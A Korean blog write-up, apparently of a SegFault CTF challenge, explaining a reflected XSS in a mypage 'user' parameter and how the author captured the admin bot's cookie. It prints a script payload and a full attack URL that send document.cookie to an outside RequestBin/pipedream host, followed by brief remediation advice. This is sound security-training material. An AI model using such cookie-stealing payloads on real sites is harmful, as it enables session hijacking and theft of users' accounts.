Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (XSS) - XSS 3

Gearvirus(junyup2) 2023. 12. 29. 17:43

[SegFault] (XSS)

XSS 3

๊ด€๋ฆฌ์ž์˜ Cookie๋ฅผ ํƒˆ์ทจํ•˜์„ธ์š”!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ XSS์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ๊ด€๋ฆฌ์ž Bot์— ํ•ด๋‹น ๋งํฌ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ Cookie ๊ฐ’์„ ํƒˆ์ทจํ•˜์—ฌ ๋ฐ›์œผ๋ฉด Flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค.

ํ•˜์ง€๋งŒ ํ˜„์žฌ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋ฅผ ๊ฐ–๊ณ  ์žˆ์ง€ ์•Š์œผ๋ฏ€๋กœ RequestBin์„ ์ด์šฉํ•˜๊ธฐ๋กœ ํ•œ๋‹ค.

์šฐ์„  ์œ„์˜ [๊ด€๋ฆฌ์ž ๋ฐฉ๋ฌธ Bot Link]์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL ์ž…๋ ฅ์ฐฝ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

XSS ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ณ  ํ•ด๋‹น ๋งํฌ๋ฅผ ์œ„์˜ URL์— ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„(RequestBin)๋กœ ์ฟ ํ‚ค ๊ฐ’์ด ๋‚ ์•„์˜ค๋Š” ๋ฐฉ์‹์ด๋‹ค.

์ด์ œ ์•„๋ž˜์˜ ๋ฌธ์ œ ๋งํฌ์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ์‹œ๋„ํ•ด๋ณธ๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์— ์ ‘์†ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด์ง€๊ฐ€ ๋‚˜์˜จ๋‹ค.

ํ•ด๋‹น ํŽ˜์ด์ง€์˜ ์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•˜์—ฌ ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณธ ๊ฒฐ๊ณผ ์œ ์ €๋ช…์ด ๋ณ€์กฐํ•˜๋Š” ๋Œ€๋กœ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํŠน์ˆ˜๊ธฐํ˜ธ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์ž…๋ ฅ์ด ๊ฐ€๋Šฅํ•œ ์ง€ ํ™•์ธํ•ด๋ณธ๋‹ค.

XSS Point

gear<' ">

๊ทธ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅ์ด ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

์œ ์ €๋ช…์ด ์กฐ์ž‘ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๊ณ  ์ด์— ๋”ฐ๋ผ ๊ทธ๋Œ€๋กœ ์ž…๋ ฅ๊ฐ’์ด ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€์œผ๋ฏ€๋กœ ํŽ˜์ด๋กœ๋“œ(Payload)๋ฅผ ์ž‘์„ฑํ•œ๋‹ค.

ํŽ˜์ด๋กœ๋“œ(Payload)

gear"/><script>var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/cookie="+cookieData;
</script>//

ํ•ด๋‹น ํŽ˜์ด๋กœ๋“œ๋ฅผ URL์— ์ž…๋ ฅํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž…๋ ฅํ•ด์ค˜์•ผ ํ•œ๋‹ค.

gear"/><script>var+cookieData=document.cookie;var+i=new+Image();i.src="https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2BcookieData;</script>//

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•ด์ฃผ๋Š” ๊ฒฝ์šฐ ์•„๋ž˜์™€ ๊ฐ™์€ ์š”์ฒญ์ด ๊ฐ€๊ฒŒ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์›ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ™œ์„ฑํ™” ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์Šคํฌ๋ฆฝํŠธ ์ „๋‹ฌ(URL)

ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๋‹ด๊ธด ์š”์ฒญ์˜ ๊ฒฝ์šฐ GET Method์— ํ•ด๋‹นํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ด์— ๋Œ€ํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์ด URL์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค.

http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=gear"/><script>var+cookieData=document.cookie;var+i=new+Image();i.src="https://eneqijtbrtwyr.x.pipedream.net/?cookie="%2BcookieData;</script>//

์œ„์˜ URL์„ ํด๋ฆญํ•˜๋„๋ก ์œ ๋„ํ•˜์—ฌ XSS๊ฐ€ ๋ฐœ์ƒํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋”ฐ๋ผ์„œ ํ•ด๋‹น URL์„ ๊ด€๋ฆฌ์ž Bot์— ๋ณด๋‚ด์ค€๋‹ค.

ํƒˆ์ทจ๋œ ์ฟ ํ‚ค(Cookie)๊ฐ€ ๊ณต๊ฒฉ์ž ์ฃผ์†Œ(RequestBin)์œผ๋กœ ๋ฐ›์•„์™€ ์ง€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์œ„์™€ ๊ฐ™์ด ๋งˆ์ดํŽ˜์ด์ง€์˜ user ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ณ€์กฐํ•˜๋Š” ์ผ๋ จ์˜ ๊ณผ์ •์„ ๋‹ด์€ URL๋กœ์˜ ์ ‘์† ์œ ๋„๋ฅผ ํ†ตํ•˜์—ฌ ์›ํ•˜๋Š” flag๊ฐ€ ํš๋“๋œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.


์ทจ์•ฝ์ ์— ๊ด€ํ•œ ๊ณ ์ฐฐ

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ๋งˆ์ดํŽ˜์ด์ง€์— ์กด์žฌํ•˜๋Š” ์œ ์ €๋ช…์— ํ•ด๋‹นํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์ด ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ณ , ์ด์— ๋”ฐ๋ผ ์ž…๋ ฅ๋˜๋Š” ๊ฐ’์˜ ์‘๋‹ต(Response)์— ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ๋˜์–ด ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ์ด์šฉํ•œ Reflected XSS ์ทจ์•ฝ์ ์ด๋‹ค.

๋งˆ์ดํŽ˜์ด์ง€์™€ ๊ฐ™์ด ์ค‘์š”์ •๋ณด๊ฐ€ ๋‹ด๊ฒจ ์žˆ๋Š” ํŽ˜์ด์ง€์˜ ๊ฒฝ์šฐ user์— ํ•ด๋‹นํ•˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๋ณ€์กฐ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ๋‹ค๋ฅธ ์ด์šฉ์ž์˜ ์ •๋ณด๊ฐ€ ์œ ์ถœ๋  ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ๋ณธ์ธ์— ํ•ด๋‹นํ•˜๋Š” ์œ ์ €๋ช…์„ ์ œ์™ธํ•œ ์ž…๋ ฅ ๊ฐ’์— ๋Œ€ํ•˜์—ฌ ์ˆ˜์šฉํ•˜์ง€ ์•Š๋„๋กํ•˜์—ฌ, ์ž…๋ ฅ๊ฐ’์„ ๋ณ€์กฐ๋œ ๊ฐ’์œผ๋กœ ์ถœ๋ ฅํ•˜์ง€ ์•Š๊ณ  ๊ธฐ์กด์˜ ์œ ์ €๋ช…์œผ๋กœ ๋˜๋Œ๋ฆฌ๊ฑฐ๋‚˜, ์ž…๋ ฅ์ด ๋ถˆ๊ฐ€๋Šฅํ•œ Read Only ์†์„ฑ์„ ์ ์šฉํ•˜๋Š” ๋“ฑ์˜ ์กฐ์น˜๋ฅผ ์ทจํ•ด์•ผ ํ•œ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜